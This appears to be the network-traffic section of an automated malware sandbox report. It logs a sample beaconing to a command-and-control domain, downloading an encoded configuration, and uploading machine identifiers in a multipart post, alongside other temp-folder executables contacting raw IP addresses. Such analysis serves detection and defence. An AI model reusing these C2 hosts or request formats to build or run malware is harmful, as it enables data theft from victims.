Oct 30, 2024 11:47:07.800187111 CET	636	IN	Data Raw: c8 3d ff 01 00 00 0f 8c 33 fe ff ff 01 44 24 44 50 ff 75 0c 51 ff 55 08 83 c4 0c 85 c0 0f 84 8c 08 00 00 89 c7 89 44 24 18 e9 11 fe ff ff 90 89 c7 eb 18 90 90 90 90 90 90 90 90 90 90 90 90 46 88 47 01 83 c7 02 83 c2 fe 74 a4 b0 30 f6 44 24 04 40 Data Ascii: =3D$DPuQUD$FGt0D$@t9tF01DD$@t9u1DD$8t$L$9L$T$D$8)9\|}u(D$8t$1t$
Oct 30, 2024 11:47:07.807059050 CET	1236	IN	Data Raw: 90 90 90 89 f0 eb 4d 89 f1 83 fb 1c 72 46 90 90 90 90 90 8b 02 89 07 8b 42 04 89 47 04 8b 42 08 89 47 08 8b 42 0c 89 47 0c 8b 42 10 89 47 10 8b 42 14 89 47 14 8b 42 18 89 47 18 8b 42 1c 89 47 1c 83 c7 20 83 c2 20 8d 41 e0 83 c1 dc 83 f9 f8 89 c1 Data Ascii: MrFBGBGBGBGBGBGBG Art\|4$1B9u)4$rCBGBGBGBGBGBGBGu}L$)=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	58225	34.107.221.82	80	8076	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:09.782227993 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 11:47:10.378278017 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 75773 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	58229	34.107.221.82	80	8076	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:10.674741983 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 11:47:11.289719105 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 66700 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	58232	185.215.113.43	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:11.170958996 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 36 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002600001&unit=246122658369
Oct 30, 2024 11:47:12.089207888 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:47:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	58236	34.107.221.82	80	8076	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:13.567343950 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 11:47:14.175409079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 75777 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 11:47:24.185970068 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 30, 2024 11:47:34.283098936 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 30, 2024 11:47:44.394686937 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 30, 2024 11:47:54.493087053 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	58237	185.215.113.206	80	6484	C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:13.570888042 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 11:47:14.466270924 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	58240	185.215.113.43	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:47:13.730803967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 11:47:14.653490067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:47:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	188.114.96.3	443	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:12 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 10:45:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 10:45:13 UTC	1008	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ub3qtk5pdilguhoio29ul1c28s; expires=Sun, 23 Feb 2025 04:31:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vGDmdpp%2FDGCfM9CIQZqDT3M0Vc3SIzouVpm5I9f7iLixXOEjzWbKNpwAelvraMq4qPKZ8bPbFnJVZJgZBsq2Pjhrq1bN6acTf9Z3Z5o39G8d0eAkeRhHPZiK7e8JXDTjgffW3Hg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad0819da52c9f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1506763&cwnd=32&unsent_bytes=0&cid=bd3ae7a3ac121a76&ts=755&x=0"
2024-10-30 10:45:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 10:45:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	188.114.96.3	443	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:13 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 10:45:13 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 10:45:14 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=24jhejmal3urnpd2q3ciqrc1ag; expires=Sun, 23 Feb 2025 04:31:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I46y4lwAFXos0GtB%2BXYACfn2mHpRFJk70a6ua8WbLAh1PBHhrAFYD5RL5I5%2FNPjTtxP3kvNCXwwe8G5OPJDnQscNri03XDLQ5H4mxtS2ax36KKquvKbdW64t2H1zWVvK3NpYRHI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad08a79306c10-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1171&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2433613&cwnd=251&unsent_bytes=0&cid=9d8327ea3405ffa1&ts=470&x=0"
2024-10-30 10:45:14 UTC	358	IN	Data Raw: 31 64 37 63 0d 0a 2b 6e 58 64 79 50 50 50 71 51 4e 79 48 77 70 59 6f 5a 43 4a 45 74 4c 6c 61 30 65 34 79 56 2f 4d 65 34 6f 67 38 53 4c 65 49 61 32 42 56 36 76 71 79 66 75 46 49 51 46 36 4b 47 4c 56 34 76 78 33 2f 73 63 4b 49 35 72 7a 4f 61 30 58 2b 55 58 64 41 4b 68 4d 6a 38 41 54 76 4b 53 41 71 6f 55 68 46 32 63 6f 59 76 72 72 71 33 65 38 78 31 46 6c 33 61 4d 39 72 52 66 6f 51 5a 70 4e 72 6b 33 4f 6b 68 6d 36 6f 4a 61 73 7a 57 49 65 63 6d 38 39 78 50 48 6a 66 4c 75 49 41 79 71 61 35 58 32 70 41 61 67 61 30 32 2b 37 56 63 79 33 46 4b 36 6a 30 62 4b 46 65 46 42 36 5a 48 71 62 73 75 68 33 73 49 6b 4e 49 39 4f 68 4e 36 51 66 36 55 53 62 55 72 64 48 78 5a 49 58 75 61 47 63 70 64 6c 76 46 48 56 6b 4f 38 37 78 71 7a 37 77 67 42 46 6c 67 75 74 75 6e 42 72 35 55 Data Ascii: 1d7c+nXdyPPPqQNyHwpYoZCJEtLla0e4yV/Me4og8SLeIa2BV6vqyfuFIQF6KGLV4vx3/scKI5rzOa0X+UXdAKhMj8ATvKSAqoUhF2coYvrrq3e8x1Fl3aM9rRfoQZpNrk3Okhm6oJaszWIecm89xPHjfLuIAyqa5X2pAaga02+7Vcy3FK6j0bKFeFB6ZHqbsuh3sIkNI9OhN6Qf6USbUrdHxZIXuaGcpdlvFHVkO87xqz7wgBFlgutunBr5U
2024-10-30 10:45:14 UTC	1369	IN	Data Raw: 47 48 5a 6a 50 39 48 35 34 6e 32 39 68 77 51 76 31 61 67 39 71 52 50 69 54 5a 6c 45 73 55 37 4a 6d 42 66 2f 35 4e 47 71 30 79 46 49 50 55 73 2f 30 2f 58 6e 5a 76 4b 39 53 54 71 55 73 6e 32 70 46 61 67 61 30 30 69 35 51 4d 79 54 47 4c 79 69 6d 72 2f 4c 63 78 5a 77 62 53 6a 46 39 2b 56 36 73 35 55 44 4b 39 79 6f 4e 4b 55 51 37 55 57 58 41 50 49 44 79 49 42 58 35 2b 71 77 6f 4d 42 74 47 6d 70 6f 65 74 79 38 38 6a 43 33 69 30 6c 39 6d 71 38 38 71 68 6a 73 54 4a 31 45 73 45 58 42 6c 52 69 35 6f 4a 47 71 77 57 6b 59 66 47 55 78 7a 50 4c 75 66 62 53 42 42 53 54 66 36 33 50 75 48 76 41 43 79 77 43 53 52 4d 79 4b 56 59 71 70 6e 36 50 4d 64 31 42 69 4a 69 4f 44 39 65 63 77 36 4d 63 48 49 4e 57 35 50 4c 77 63 35 6c 43 66 52 62 70 4f 7a 4a 59 58 75 71 32 63 6f 38 31 Data Ascii: GHZjP9H54n29hwQv1ag9qRPiTZlEsU7JmBf/5NGq0yFIPUs/0/XnZvK9STqUsn2pFaga00i5QMyTGLyimr/LcxZwbSjF9+V6s5UDK9yoNKUQ7UWXAPIDyIBX5+qwoMBtGmpoety88jC3i0l9mq88qhjsTJ1EsEXBlRi5oJGqwWkYfGUxzPLufbSBBSTf63PuHvACywCSRMyKVYqpn6PMd1BiJiOD9ecw6McHINW5PLwc5lCfRbpOzJYXuq2co81
2024-10-30 10:45:14 UTC	1369	IN	Data Raw: 69 4f 44 39 65 63 77 36 4d 63 46 4c 4e 71 67 4e 36 6f 5a 37 30 2b 57 51 37 74 41 77 70 38 64 73 61 32 56 6f 63 4a 73 46 6e 31 76 50 73 62 67 37 6e 6d 38 69 30 6c 72 6d 71 77 6c 37 6b 47 6f 62 5a 52 57 76 32 7a 4d 69 52 37 2f 74 64 2b 30 69 32 59 63 50 54 42 36 78 50 66 6a 65 37 61 50 43 54 66 66 70 54 61 76 45 2b 35 44 6e 6b 79 36 51 38 36 59 45 62 4f 71 6c 71 72 5a 63 78 56 37 65 6a 43 44 76 4b 74 33 71 4d 64 52 5a 65 79 37 4b 72 38 50 71 6e 65 51 54 72 4a 45 32 64 67 49 38 62 50 52 71 73 63 68 53 44 31 6a 4f 73 2f 31 34 33 61 30 6a 77 59 71 30 37 6b 38 6f 68 66 36 52 5a 4e 4a 73 6b 7a 44 6b 52 71 34 70 35 71 6e 78 6d 55 58 66 43 68 30 67 2f 58 7a 4d 4f 6a 48 50 7a 58 58 70 78 4f 6c 46 65 45 43 6a 41 36 6c 41 38 69 55 56 2b 66 71 6c 61 48 44 61 78 39 30 Data Ascii: iOD9ecw6McFLNqgN6oZ70+WQ7tAwp8dsa2VocJsFn1vPsbg7nm8i0lrmqwl7kGobZRWv2zMiR7/td+0i2YcPTB6xPfje7aPCTffpTavE+5Dnky6Q86YEbOqlqrZcxV7ejCDvKt3qMdRZey7Kr8PqneQTrJE2dgI8bPRqschSD1jOs/143a0jwYq07k8ohf6RZNJskzDkRq4p5qnxmUXfCh0g/XzMOjHPzXXpxOlFeECjA6lA8iUV+fqlaHDax90
2024-10-30 10:45:14 UTC	1369	IN	Data Raw: 58 76 64 72 2f 48 52 32 58 64 73 33 33 32 57 63 64 6c 70 67 4b 64 65 59 2b 48 57 61 62 71 6c 71 47 4c 4f 56 42 78 61 7a 62 4c 2f 65 31 35 76 49 30 41 4c 74 61 67 4f 61 49 51 37 55 53 53 52 62 6c 43 79 35 51 64 75 61 6d 53 6f 73 52 75 47 44 30 6d 65 73 54 71 71 79 6a 77 6f 68 34 75 31 4b 31 39 73 56 66 78 41 70 52 4d 2f 42 75 50 6c 42 36 35 72 4a 53 68 79 6d 63 59 65 47 41 2b 77 76 54 74 63 37 2b 44 44 43 54 56 72 7a 47 67 45 2b 6c 44 6e 30 75 7a 53 4d 72 59 57 66 2b 74 69 65 32 54 49 53 46 2b 66 69 33 54 2f 71 74 76 2f 70 35 4a 49 74 62 72 5a 65 34 59 2b 6b 69 5a 54 72 6c 4d 79 70 73 59 75 4b 65 58 6f 63 46 6f 47 48 74 6e 4d 39 48 78 35 33 36 33 69 51 55 72 31 36 45 2b 6f 31 6d 6d 41 70 52 59 2f 42 75 50 74 42 43 79 68 4a 71 68 7a 43 45 50 4d 33 46 36 78 Data Ascii: Xvdr/HR2Xds332WcdlpgKdeY+HWabqlqGLOVBxazbL/e15vI0ALtagOaIQ7USSRblCy5QduamSosRuGD0mesTqqyjwoh4u1K19sVfxApRM/BuPlB65rJShymcYeGA+wvTtc7+DDCTVrzGgE+lDn0uzSMrYWf+tie2TISF+fi3T/qtv/p5JItbrZe4Y+kiZTrlMypsYuKeXocFoGHtnM9Hx5363iQUr16E+o1mmApRY/BuPtBCyhJqhzCEPM3F6x
2024-10-30 10:45:14 UTC	1369	IN	Data Raw: 77 33 30 6b 54 33 62 73 74 72 56 76 5a 56 4a 42 57 74 30 37 44 32 41 6a 78 73 39 47 71 78 79 46 49 50 57 34 31 79 76 48 6b 63 62 6d 4c 42 43 44 54 72 6a 79 6f 48 65 4a 49 6b 30 61 36 51 73 71 53 46 4c 36 67 6d 4b 72 44 5a 68 4e 76 4b 48 53 44 39 66 4d 77 36 4d 63 67 49 73 69 6c 4c 65 34 47 70 6c 76 54 52 37 41 44 6c 39 67 54 74 61 57 56 71 73 64 6e 46 58 74 6c 4f 38 7a 7a 36 33 2b 30 6a 41 41 6a 32 36 59 34 6f 78 33 36 53 4a 68 50 73 45 72 44 6c 56 66 78 36 70 61 31 69 7a 6c 51 54 47 55 30 7a 66 58 39 4d 4b 2f 4a 45 47 58 64 70 33 33 32 57 65 6c 4f 6e 45 4f 7a 51 4d 79 5a 48 61 32 34 6e 61 54 44 5a 42 78 32 5a 6a 7a 52 39 4f 52 35 73 34 51 41 49 74 4b 6e 4e 36 30 65 71 41 7a 54 52 36 51 44 6c 39 67 30 71 4c 71 63 37 64 51 76 43 54 31 76 4e 6f 4f 71 71 33 Data Ascii: w30kT3bstrVvZVJBWt07D2Ajxs9GqxyFIPW41yvHkcbmLBCDTrjyoHeJIk0a6QsqSFL6gmKrDZhNvKHSD9fMw6McgIsilLe4GplvTR7ADl9gTtaWVqsdnFXtlO8zz63+0jAAj26Y4ox36SJhPsErDlVfx6pa1izlQTGU0zfX9MK/JEGXdp332WelOnEOzQMyZHa24naTDZBx2ZjzR9OR5s4QAItKnN60eqAzTR6QDl9g0qLqc7dQvCT1vNoOqq3
2024-10-30 10:45:14 UTC	1369	IN	Data Raw: 4b 74 57 69 4e 4b 6f 52 36 30 4b 58 52 4c 74 47 7a 4a 51 63 75 4b 6d 65 71 63 4a 76 47 58 49 6f 64 49 50 31 38 7a 44 6f 78 79 67 2b 32 61 63 77 37 67 61 6d 57 39 4e 48 73 41 4f 58 32 42 75 78 72 35 47 6e 7a 57 55 56 65 32 49 2f 77 2f 6e 6f 66 37 53 42 44 53 72 61 6f 44 53 76 48 2b 31 49 6d 45 61 78 51 4d 6d 65 56 2f 48 71 6c 72 57 4c 4f 56 42 64 63 7a 66 50 39 61 74 76 2f 70 35 4a 49 74 62 72 5a 65 34 53 35 45 61 55 51 4c 46 41 78 35 30 54 74 61 2b 52 70 64 6c 70 45 48 70 36 4b 4d 50 37 37 6e 79 7a 68 77 30 6a 30 36 30 2b 71 6c 6d 6d 41 70 52 59 2f 42 75 50 74 52 75 34 67 35 61 32 69 33 35 65 5a 43 67 39 7a 37 4b 7a 4d 4c 47 4d 41 79 72 58 71 44 75 74 45 75 31 49 6b 6b 65 30 54 74 32 62 47 4c 43 75 6b 61 4c 4e 5a 78 46 79 62 6a 33 4b 38 2b 4e 33 38 4d 6c Data Ascii: KtWiNKoR60KXRLtGzJQcuKmeqcJvGXIodIP18zDoxyg+2acw7gamW9NHsAOX2Buxr5GnzWUVe2I/w/nof7SBDSraoDSvH+1ImEaxQMmeV/HqlrWLOVBdczfP9atv/p5JItbrZe4S5EaUQLFAx50Tta+RpdlpEHp6KMP77nyzhw0j060+qlmmApRY/BuPtRu4g5a2i35eZCg9z7KzMLGMAyrXqDutEu1Ikke0Tt2bGLCukaLNZxFybj3K8+N38Ml
2024-10-30 10:45:14 UTC	353	IN	Data Raw: 54 65 70 43 65 39 56 6e 41 44 79 41 38 44 59 54 34 62 71 6d 4b 72 51 63 41 5a 77 65 44 32 44 7a 61 55 77 71 4d 64 52 5a 65 2b 6f 4d 36 41 65 2f 6c 50 65 5a 36 70 4a 79 49 67 51 71 4b 58 52 34 34 74 6e 55 43 55 37 64 49 50 32 2b 6a 44 6f 31 31 74 2b 6a 2f 68 71 2f 6b 76 33 44 49 6f 41 71 67 4f 58 79 6c 6e 2f 75 4e 48 31 69 79 59 54 62 33 6f 38 77 4f 54 6f 4e 34 36 35 4c 6a 2f 58 72 53 71 2f 4a 39 5a 46 69 55 32 36 56 4e 37 55 41 72 79 6b 6e 36 72 64 49 56 34 39 5a 33 71 62 79 36 73 34 38 4c 68 48 5a 63 4c 72 5a 65 34 73 36 30 79 64 52 36 70 53 67 72 38 4e 73 71 79 47 76 49 73 76 55 48 73 6f 59 70 4f 38 71 33 53 68 78 31 46 31 69 50 42 6f 2f 55 36 34 45 49 77 4f 70 51 50 5a 32 45 2f 74 35 4e 47 2f 69 7a 6c 51 4f 6d 73 6f 30 66 54 6f 5a 72 50 41 4e 78 76 30 Data Ascii: TepCe9VnADyA8DYT4bqmKrQcAZweD2DzaUwqMdRZe+oM6Ae/lPeZ6pJyIgQqKXR44tnUCU7dIP2+jDo11t+j/hq/kv3DIoAqgOXyln/uNH1iyYTb3o8wOToN465Lj/XrSq/J9ZFiU26VN7UArykn6rdIV49Z3qby6s48LhHZcLrZe4s60ydR6pSgr8NsqyGvIsvUHsoYpO8q3Shx1F1iPBo/U64EIwOpQPZ2E/t5NG/izlQOmso0fToZrPANxv0
2024-10-30 10:45:14 UTC	1369	IN	Data Raw: 32 36 66 30 0d 0a 2f 42 75 64 31 6c 65 74 36 73 6e 74 6a 47 49 43 62 32 34 35 31 66 47 73 54 6f 36 45 48 79 6a 56 6f 44 79 51 4a 38 5a 50 6b 6b 4f 79 41 66 36 4f 47 71 2b 70 6c 4b 72 31 58 78 35 36 66 44 33 4e 39 4f 73 77 2f 73 63 47 5a 59 4b 53 66 65 5a 5a 31 77 7a 54 57 50 77 62 6a 36 30 55 73 61 53 57 75 39 6f 73 4d 32 74 6c 4e 63 6a 7a 71 7a 37 77 67 55 6c 39 69 75 56 39 71 67 69 6f 47 73 4d 53 35 78 61 63 7a 30 66 74 74 64 2b 30 69 33 64 51 4a 54 70 30 67 2b 43 72 4b 50 44 41 42 79 6a 62 71 44 4f 74 43 2f 70 45 6b 46 61 2f 42 50 47 6d 4e 72 4b 68 6e 61 44 45 61 69 35 44 53 54 66 49 2f 75 5a 2f 75 37 6b 33 4d 4e 6d 6c 4d 36 6b 50 2b 51 4c 64 41 4c 4d 44 6c 36 46 58 39 2b 71 75 34 34 74 35 55 43 55 6f 44 38 44 38 35 58 65 6d 6c 6b 51 45 31 36 41 78 6f Data Ascii: 26f0/Bud1let6sntjGICb2451fGsTo6EHyjVoDyQJ8ZPkkOyAf6OGq+plKr1Xx56fD3N9Osw/scGZYKSfeZZ1wzTWPwbj60UsaSWu9osM2tlNcjzqz7wgUl9iuV9qgioGsMS5xacz0fttd+0i3dQJTp0g+CrKPDAByjbqDOtC/pEkFa/BPGmNrKhnaDEai5DSTfI/uZ/u7k3MNmlM6kP+QLdALMDl6FX9+qu44t5UCUoD8D85XemlkQE16Axo
2024-10-30 10:45:14 UTC	1369	IN	Data Raw: 51 55 71 35 46 7a 49 34 55 2b 4a 53 76 69 4e 78 69 41 48 74 72 42 50 33 5a 35 33 61 33 6e 51 34 6a 2f 49 74 39 34 46 6e 6e 41 73 74 35 2f 41 75 50 70 31 6e 2f 73 74 48 31 69 31 51 54 63 32 59 39 31 65 4f 6d 56 61 65 45 47 53 50 5a 36 33 50 75 48 36 67 61 77 77 37 38 52 39 37 59 54 2b 2f 34 79 76 69 59 4e 6b 41 76 64 33 54 61 73 76 30 77 36 4e 56 48 5a 63 6a 72 5a 65 35 65 36 31 43 42 52 72 39 56 7a 4e 38 70 67 59 79 53 76 4d 46 41 48 57 31 76 42 50 33 6e 36 48 36 2b 67 42 38 30 6d 75 56 39 6f 56 6d 77 65 39 4d 49 38 45 58 4d 6a 6c 65 41 35 4e 47 31 69 7a 6c 51 53 47 73 30 7a 66 58 39 59 66 32 68 43 6a 54 51 69 6a 43 2b 48 71 67 4d 30 30 62 38 47 35 7a 57 56 37 75 37 30 66 57 62 4d 30 73 6f 4f 32 32 54 6f 50 51 2b 71 63 63 66 5a 59 4c 35 63 2b 34 4c 71 42 Data Ascii: QUq5FzI4U+JSviNxiAHtrBP3Z53a3nQ4j/It94FnnAst5/AuPp1n/stH1i1QTc2Y91eOmVaeEGSPZ63PuH6gaww78R97YT+/4yviYNkAvd3Tasv0w6NVHZcjrZe5e61CBRr9VzN8pgYySvMFAHW1vBP3n6H6+gB80muV9oVmwe9MI8EXMjleA5NG1izlQSGs0zfX9Yf2hCjTQijC+HqgM00b8G5zWV7u70fWbM0soO22ToPQ+qccfZYL5c+4LqB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49704	188.114.96.3	443	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:15 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-30 10:45:15 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
